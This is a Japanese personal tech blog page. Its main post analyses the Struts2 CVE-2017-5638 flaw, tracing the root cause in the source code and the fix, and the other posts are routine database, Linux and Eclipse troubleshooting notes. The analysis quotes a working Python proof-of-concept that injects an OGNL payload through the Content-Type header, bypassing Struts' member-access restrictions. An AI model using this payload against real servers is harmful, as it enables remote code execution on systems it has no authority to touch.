読者です 読者をやめる 読者になる 読者になる

この日記は私的なものであり所属会社の見解とは無関係です。 GitHub: takahashikzn

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した

Struts2

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。

http://d.hatena.ne.jp/Kango/20170307/1488907259


さて、この脆弱性の動作原理を調べてみました。

ファイルアップロード時のヘッダの処理方式に問題があるようです。 前述のURLで述べられているPoCはこんな感じ。

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    print r.content
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。マジかよ…orz

ここでは問題を簡単にするために、ヘッダの中身をこうします。単にIntegerのコンストラクタを呼んでいるだけ。

Content-Type: %{(#test='multipart/form-data').(new java.lang.Integer(42))}

こんなコードであろうとも、自由に任意のコードを実行できる時点でアウトです。

なお、

(#test='multipart/form-data')

の部分は、commons-fileuploadを騙しつつ正しいOGNL式にするための小細工のようです。

実装を見てみる

結論から言うと、ファイルアップロード時にContent-Typeヘッダのパースに失敗した際、 エラーメッセージの構築でcom.opensymphony.xwork2.util.LocalizedTextUtil.findTextを使用していることが原因です。


まず、Content-Typeを偽装したリクエストを送ると、commons-fileupload側でパースエラーとなります。その際、このようなエラーメッセージを生成します。

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

commons-fileuploadはStruts2の事情なんぞ知ったこっちゃないので、ヘッダの中身をそのままエラーメッセージに入れ込みます。


次に、Struts2側ではこのエラーメッセージを、ローカライズされた別のテンプレートに流し込んで整形しようとします。その時にLocalizedTextUtil.findTextを使用します。

(org.apache.struts2.interceptor.FileUploadInterceptorの264行目)

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        if (validation != null) {
            // ↓264行目
            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
        }
    }
}

そして、LocalizedTextUtil.findTextは内部でTextParseUtil.translateVariablesを呼び出しています。

(LocalizedTextUtilの729行目)

// defaultMessage may be null
if (message != null) {
    // ↓729行目
    MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

    String msg = formatWithNullDetection(mf, args);
    result = new GetDefaultMessageReturnArg(msg, found);
}

このメソッドは、文字列中のOGNL式を逐一解釈して値に入れ替えるという一種のテンプレートエンジン的な機能を果たします。

つまり、先程の

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

がここまで引き渡されてきた結果、

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

の部分がOGNL式として解釈されてしまうわけです。

対応策

この脆弱性に対応したstruts-2.5.10.1がリリースされています。これに置き換えるのがベスト。

http://cwiki.apache.org/confluence/display/WW/S2-045

修正内容はこちら。

http://github.com/apache/struts/compare/STRUTS_2_5_10_1…master

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors() && validation != null) {
    TextProvider textProvider = getTextProvider(action);
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        String errorMessage;
        if (textProvider.hasKey(error.getTextKey())) {
            errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
        } else {
            errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
        }
        validation.addActionError(errorMessage);
    }
}

見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。

【2017-03-12追記その1】

http://boscono.hatenablog.com/entry/2017/03/12/083946

こちらで言及されている通りですがこれは誤りでした。

ちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。

ここで使用されるtextProviderの実装はcom.opensymphony.xwork2.TextProviderSupportであり(デフォルト設定の場合)、この中でLocalizedTextUtilは使用されていますがTextParseUtilに改ざんされた方の文字列を渡していないので水際のところでセーフ、というのが正確なところです。際どい修正だなこれ…


次善の策として、マルチパートリクエストのパーサーを入れ替えるという方法もあるようですがオススメしません。

既に述べた通り、パーサーが吐くエラーメッセージにContent-Typeヘッダの中身がそのまま入るようだと、結果として何も変わらないからです。 パーサーを入れ替えるなら、そのパーサーが安全であることを別途検証することを推奨します。

追記

ここまで書いて気が付いたのですが、すでに同様の解析を行った方がいました。

http://blog.csdn.net/u011721501/article/details/60768657 http://paper.seebug.org/241/


2017-03-12追記その2

私は仕事柄、Struts2の実装にソースコードレベルで詳しい(と自負している)ので、困っている方がいらっしゃったらコメント欄で連絡下さい。何かお手伝いできると思います。

コメントは公開しませんのでご安心を。

(2016-03-16 変更)公益性の観点から、個人・案件を特定できない範囲で公開することがあります。

(ちょっと間違ってたくせに何を偉そうな、と言われたら返す言葉はありませんけど)


2016-03-16追記

幾つか質問を頂いたので回答します。

「コメントは公開しません」と書きましたが、公開しても問題無いと思われる内容であれば、公益性の観点から公開することにしました。

回答はしますが、最終判断は自己責任でお願いします。

質問1

1点、PoCコードの「.」について教えていただきたくご連絡さしあげました。

(#test='multipart/form-data').(#dm=@ognl.Ognlxxxx

というOGNL部分なのですが、OGNLにおける「.」はクラスの階層構造を表す以外にも使い方があるのでしょうか?もしくはこのPoCも階層構造なのでしょうか?

#私はclass.classLoader.xxxxという階層構造の表現に使えることしか知りません。

並んでいるメソッドから何をしようとしているかの把握はできているつもりですが、PoCコードの解釈のされ方がどうしても分かりません。OGNLについて書いてある記事も英語も含めてもあまり無く。。

これは、SubExpressionという構文です。OGNLのリファレンスマニュアルを一部訳すと次の通りです。

If you use a parenthetical expression after a dot, the object that is current at the dot is used as the current object throughout the parenthetical expression.

For example,

headline.parent.(ensureLoaded(), name)

traverses through the headline and parent properties, ensures that the parent is loaded and then returns (or sets) the parent’s name. Top-level expressions can also be chained in this way. The result of the expression is the right-most expression element.

ensureLoaded(), name

This will call ensureLoaded() on the root object, then get the name property of the root object as the result of the expression.

 

括弧で囲まれた式がドットのあとに続く場合、ドットのターゲットオブジェクトがカレントオブジェクトとしてカッコ内の式で使用される。 例えば、

headline.parent.(ensureLoaded(), name)

はheadlineのparentへアクセスし、parentがensureLoadedであることを保証した上でparentのnameを返すという意味になる。 トップレベルの式はこのやり方でチェーンでき、評価結果は括弧の一番右の式の値である。

ensureLoaded(), name

はルートオブジェクトのensureLoaded()を実行し、そしてnameプロパティを取得してそれを式全体の評価結果として扱う。

…とまあこんな感じです。 ちなみに左辺のオブジェクトは無視してOK。カッコ内には任意の式を入れられます。よって例のPoCは

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

から左辺の代入を消して

%{('multipart/form-data').(new java.lang.Integer(42))}

と簡略化できることになります。


質問2

現在ある本番システムでStruts2.2.3を利用しているのですが、本件への影響をロジカルに説明する必要があり調査しております。

そもそも2.2.3は影響範囲に入っていないのですが、本当に大丈夫なのかを処理フローやソースレベルでDeepDiveしております。 なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか何かヒントになるような情報があればご教示いただきたく。

struts-2.2.3における、今回問題になったFileUploadInterceptorの実装の箇所は次の通りです。

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

見ての通り、このバージョンではcommons-fileuploadが出力したエラーメッセージを単なる文字列として扱っており、LocalizedTextUtilは使用していません。

そのため、この範囲では件の脆弱性は存在しません。


ソースの履歴を追ってみると、このマージで脆弱性が入りこんだようです。

http://github.com/apache/struts/pull/113

このプルリクがマージされた日付は2016-11-08なので、このコードが適用されているStruts2のバージョンは2.5.8~および2.3.31のはずです。

従って、影響があると公式アナウンスされている

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

というのは間違っているように見えますが…いずれにせよ、質問いただいている「2.2.3」は問題無いバージョンと思われます。


上記は完全に誤りでした。見なかったことにして下さい…


さて、結論から言うとこのコミットが脆弱性を入れ込むことになった原因と思われます。

http://github.com/apache/struts/commit/5d68b267b5d089c8ce22e044edc7aaf532d93f02#diff-6f33d08fb91d5c321d4666523e58ae9b

この時点のStruts2は、FileUploadInterceptor内でエラーメッセージを組み立てるのではなく、JakartaMultiPartRequest内でそれを行っていました。

ソースのdiffを見ればわかりますが、上記のコミット以後にLocalizedTextUtilを使うようになったので問題があります。

また、このコミットはstruts-2.3.5から取り込まれているので、公式発表は正しいようです。


質問にあった「なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか」ですが、

「2.2.3の時点では、FileUploadInterceptor内とJakartaMultiPartRequest内のどちらもLocalizedTextUtilを使っておらず、それ以外の箇所でもエラーメッセージをLocalizedTextUtilに渡していないのでセーフ」

が回答になると思います。該当するコードの箇所は以下の通りです。

struts-2.2.3のJakartaMultiPartRequestの抜粋:例外のメッセージを単に文字列としてListに詰めているだけ】

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        processUpload(request, saveDir);
    } catch (FileUploadException e) {
        LOG.warn("Unable to parse request", e);
        errors.add(e.getMessage());
    }
}

struts-2.2.3のFileUploadInterceptorの抜粋:エラーメッセージを単に文字列として扱っている】

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

struts-2.3.5のJakartaMultiPartRequestの抜粋:例外のメッセージをLocalizedTextUtilに渡しているのでアウト

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (FileUploadBase.SizeLimitExceededException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Request exceeded size limit!", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    } catch (Exception e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Unable to parse request", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}

...

protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

MariaDB-10.2.4で、カスケード削除とクエリキャッシュ絡みのバグを発見

MariaDB-10.2.4がリリースされています。これは正式リリース候補版と言うことで、早速検証してみたところ、バグを発見。


僕がぶち当たった現象とは、以下のようなものです。

  1. テーブルParentとChildには親子関係があり、Childが親を指す外部キーにはカスケード削除が設定されている
  2. Childを複数件SELECTする
  3. 2.でヒットした子レコードのうち任意のいずれかについて、親であるParentのレコードをDELETE
  4. 2.と同じSELECT文を実行すると、カスケード削除で消されるはずのChildが残っている
  5. クエリキャッシュをクリアして、再び2.と同じSELECT文を実行すると、カスケード削除で消えるはずのChildは消えている


ま、そのうち修正されると思うので、しばらく待つことにします。

ジャスミンソフト贄さん&クオリティスタート湯本さんとランチしてきた

先週の話となりますが、湯本さん経由で贄さんに連絡してもらい、ランチしてきました。

場所は銀座の過門香です。
ところで、この店は仕事でめちゃくちゃ重宝してます。ロケーションは申し分ないし、店のレベルも高い。 ぜひ皆様ご活用下さいませ。
ただし上野の過門香はおすすめできません。この店舗だけ、なぜか料理が美味しくない。

さて、僕自身、贄さんとは5年ぶりくらいの再会です。
近況報告から始まり、超高速開発業界の現況や我々の立ち位置、近い将来のあるべき姿に関する議論をしているうちに、あっという間の2時間でした。楽しかったです。

昨今、「業務をシステムに合わせて変えるべき」という考え方が広がっています。
あるべき姿を追求して自然とそうなるのなら良いですが、業務システムを作るコストが掛かりすぎるから仕方なく業務を変えるというのは絶対にダメです。

僕は、業務システムの責務はその会社の独自ノウハウ(≒業務のやり方)の効率を最大化することだと思っています。
そして超高速開発の技術を使えば、開発コストは問題では無くなる。だからとことん細かいところにまで、こだわっていい。 そうすると、業務システムの大小様々なニーズにどれほど対応できるか。これが超高速開発ツールの善し悪しを決める重要なポイントになってきます。

クラウド対応とか正直どうでもいい。お客さんにとって大事なのは中身(業務システムの機能性)であって、箱モノ(運用環境)には一切興味ありませんので。 低品質の業務システムがあったとして、それをクラウド化したら使い勝手は上がりますか?バグが消えるんですか? んなわけねーだろ。

また、いわゆる業務テンプレートが充実しているかどうかという観点は本末転倒です。そもそもテンプレート化できる業務なら既存のパッケージがある。それを買って使えば充分です。

この観点においてWagbyは、市販されている超高速開発ツール製品の中では最も完成度が高いと思います。

ちなみに言っておくと、ウチのMOD99も同レベルに到達しています。
「ホントかよ?」と思ったなら湯本さんに聞いて頂ければ懇切丁寧に説明してもらえますので、そちらへお問い合わせ下さい。(丸投げ)

外国製の製品ははっきり言ってダメです。国内の中小零細向けの業務システムには全くフィットしません。カスタマイズ性、低いです。
とある有名な外国産製品の事例発表会で

「超高速開発でプロジェクト完遂! (画面カスタマイズは一切認めないという条件付きだけど…!!)

という話を聞いたときはズッコけました。

それは一体誰のためのシステムなんですかね…?

贄さんの会社には近頃大きな動きがありました(大きな会社に買収された)。
買収によって、ジャスミンソフト自体はむしろWagbyの開発に集中できるということで、オファーをほぼ即決で受けたとのこと。
製品の進化がスピードアップするわけです。ウチも負けていられません。

MariaDB-10.1.21が起動しない→SELinuxの問題

つい先程、MariaDB-10.1.21にアップデートしたらmysqlが起動しなくなりました。以下のようなエラーになります。

# service mysql start
Starting MySQL.170120 15:39:55
170120 15:39:55 mysqld_safe Logging to '/var/log/mysqld.log'.
170120 15:39:55 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
/usr/bin/mysqld_safe_helper: Can't create/write to file '/var/log/mysqld.log' (Errcode: 13 "Permission denied").       [FAILED]

これはマズい。非常にマズい。

というわけでググってみたら、こういうページがヒットしました。 http://www.rootusers.com/how-to-fix-mariadb-10-0-29-selinux-update-failure/

内容を抜粋すると、

Great, so it’s an SELinux issue.

というわけで、SELinuxの問題のようです。

上記ページではCentOS7で発生したと書いてありますが、僕の手元では一部のCentOS6のみで発生し、CentOS7は問題なく起動しています。

  • 僕の手元のCenOS7ではmysqld_safe_helperを用いた起動ではなかったために、問題が起きないのだと思われます。
  • 同じCentOS6でも、問題が起こる場合と起こらない場合があるようです。どちらもmysqld_safe_helper経由での起動ですが、何が違うのかは不明。

解決方法 → mysqld_safeのSELinuxコンステキストを変更

上記ページによると、解決するには

# ausearch -c 'mysqld_safe_hel' --raw | audit2allow -M my-mysqldsafehel
# semodule -i my-mysqldsafehel.pp

を実行せよとあります。とりあえず実行してみるとこうなりました。

bash: audit2allow: command not found

ナンテコッタイ。というわけで

yum install policycoreutils-python

を実行したのですが、

================================================================
 Package                                   Arch       Version                    
================================================================
Installing:
 policycoreutils-python          x86_64    2.0.83-30.1.el6_8
Installing for dependencies:
 audit-libs-python                  x86_64     2.4.5-3.el6 
 libselinux-python                  x86_64     2.0.94-7.el6
 libsemanage-python            x86_64     2.0.43-5.1.el6
 setools-libs                           x86_64     3.3.7-4.el6           
 setools-libs-python              x86_64     3.3.7-4.el6

Transaction Summary
===============================================================
Install       6 Package(s)

という風にいろいろインストールされてしまうので、なんか嫌な感じ。

余計なものをインストールせずに何とかならんのか。 というわけで、まずは当該ファイルを見てみます。

# cd /usr/bin
# ls -Z mysql*

するとこうなりました。

# ls -Z mysql*
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlaccess
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqladmin
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlbinlog
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlbug
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlcheck
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_config
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_convert_table_format
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqld_multi
-rwxr-xr-x. root root system_u:object_r:mysqld_safe_exec_t:s0 mysqld_safe
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqld_safe_helper
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqldump
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqldumpslow
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_embedded
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_find_rows
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_fix_extensions
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlhotcopy
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlimport
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_install_db
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_plugin
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_secure_installation
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_setpermission
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlshow
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysqlslap
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_tzinfo_to_sql
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_upgrade
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_waitpid
-rwxr-xr-x. root root system_u:object_r:bin_t:s0       mysql_zap

はい、mysqld_safeだけSELinuxのコンテキストが違いますね。 そこで、おもむろに

# chcon system_u:object_r:bin_t:s0 mysqld_safe

とやってみると…

# service mysql start
Starting MySQL.170120 15:54:04 mysqld_safe
170120 15:54:04 mysqld_safe Logging to '/var/log/mysqld.log'.
170120 15:54:04 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql            [  OK  ]

この通り無事に起動したのでした。こやつめ、ハハハ。

まあ15分ほどで解決できたので良しとします。

dracutが古いカーネルのinitramfsを勝手に作る

いつからかそうなったのかは覚えていないのですが…

新しいバージョンのカーネルをインストールすると、なぜか古いカーネルバージョン(しかもアンインストール済み)のinitramfsも作ろうとするようになっていました。

で、そのうち/bootに壊れたinitramfsファイルを大量に書き込み過ぎて容量を使い果たし、dracutが強制停止します。


それはまだいいとしても、今まさにインストールしたバージョンのinitramfsを作る前に止まってしまうので、OSがブートできなくなるという大問題が起こるわけです。

回避法→古いカーネルモジュールを手動で削除

dracutがターゲットにするカーネルのバージョンをどこで判定しているのか調べてみたのですが、 設定ファイル等ではないようです。

  • /etc/dracut
  • /usr/lib/dracut
  • /usr/system/dracut

この辺をgrepしてみたのですが何も出てこず。 もしやと思い、/lib/modulesを見てみるとそこには古いカーネルモジュール(のディレクトリ)が大量に残っている。

こいつか犯人は。


というわけで、手動で古いモジュールを消すと、勝手にinitramfsを作る問題は解消されました。

EclEmma-3.0.0に更新したらエラー発生

本日、EclEmmaのアップデートが来ていたので更新してEclipseを再起動すると、意味不明なエラーが出てEclEmmaを使用できなくなりました。

次のようなエラーが発生します。

!MESSAGE Invalid input url:platform:/plugin/com.mountainminds.eclemma.ui/icons/full/eview16/coverage.gif
!STACK 0
java.io.IOException: Unable to resolve plug-in "platform:/plugin/com.mountainminds.eclemma.ui/icons/full/eview16/coverage.gif".
    at org.eclipse.core.internal.runtime.PlatformURLPluginConnection.parse(PlatformURLPluginConnection.java:61)
    at org.eclipse.core.internal.runtime.FindSupport.find(FindSupport.java:290)
    at org.eclipse.core.runtime.FileLocator.find(FileLocator.java:152)
    at org.eclipse.jface.resource.URLImageDescriptor.getFilePath(URLImageDescriptor.java:216)
    at org.eclipse.jface.resource.URLImageDescriptor.access$2(URLImageDescriptor.java:208)
    at org.eclipse.jface.resource.URLImageDescriptor$URLImageFileNameProvider.getImagePath(URLImageDescriptor.java:53)
    at org.eclipse.swt.internal.DPIUtil.validateAndGetImagePathAtZoom(DPIUtil.java:407)
    at org.eclipse.swt.graphics.Image.<init>(Image.java:684)
        ...

プラグインソースコードを読んでみたのですが原因は分からず。


その次にworkspace/.metadataの全ファイルを"com.mountainminds.eclemma.ui"でgrepしたら答えがわかりました。


解決方法

EclEmmaのタブを閉じて開き直せばOK。

EclEmma3.0から、プラグインのIDが変更になった(com.mountainminds.eclemma→org.eclipse.eclemma)ことにより、Eclipse内部のUIキャッシュの整合性が崩れたことが原因でした。

Tomcat-8.5.8以降ではHTTPパイプラインが動作しない

弊社はSeleniumを用いたガチなE2Eテストを全ての受託案件で実施しており、 CI環境では24H365Dで膨大なSeleniumスクリプトが動いています。


つい先日、CI環境のTomcatのバージョンを8.5.8に上げた所、意味不明なエラーが出てテストが失敗するようになりました。 こんな感じ。

10-Dec-2016 15:54:56.761 INFO [http-apr-8080-exec-2] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
 Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.
 java.lang.IllegalArgumentException: Invalid character found in method name. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:667)
    ...

はい?何?と思ってHTTPログを見てみると、当該エラーが発生したHTTPリクエストは次のようになっています。

127.0.0.1 - - [10/Dec/2016:15:54:56] "GET /foo.js HTTP/1.1" 200 123  ←普通の応答
127.0.0.1 - - [10/Dec/2016:15:54:56] "-" 400 -    ←なにこれ??

で、現象としてはJSファイルのダウンロードのHTTPリクエストが失敗しているために、画面が正しく動作せずテスト失敗になるようです。


結論→FirefoxのHTTP PipeliningをOFFにしたら治った

色々試行錯誤してみたのですが、結果としてはFirefoxのHTTP PipeliningをOFFにしたら治まりました。

HTTP PipeliningはデフォルトでOFFになっているのですが、 「もしかしたらテスト実行が早くなるかな―」と淡い期待とともにONにしていたものです。

Tomcat-8.5.6までは何の問題もなく動作していたわけなので、「Tomcat-8.5.8以降ではHTTPパイプラインは動作しない」ということになります。(8.5.9でもダメだったので)


誰もHTTPパイプラインなんて使っていない?

Wikipediaによると(wikipedia:HTTPパイプライン)、

近年のウェブブラウザでは、Prestoを搭載していた時代のOperaのみがパイプライン化を完全に実装し既定で有効としていた。他のブラウザは、パイプライン化を実装しているものの問題があることから既定では無効化していた、あるいは実装していない。

だそうです。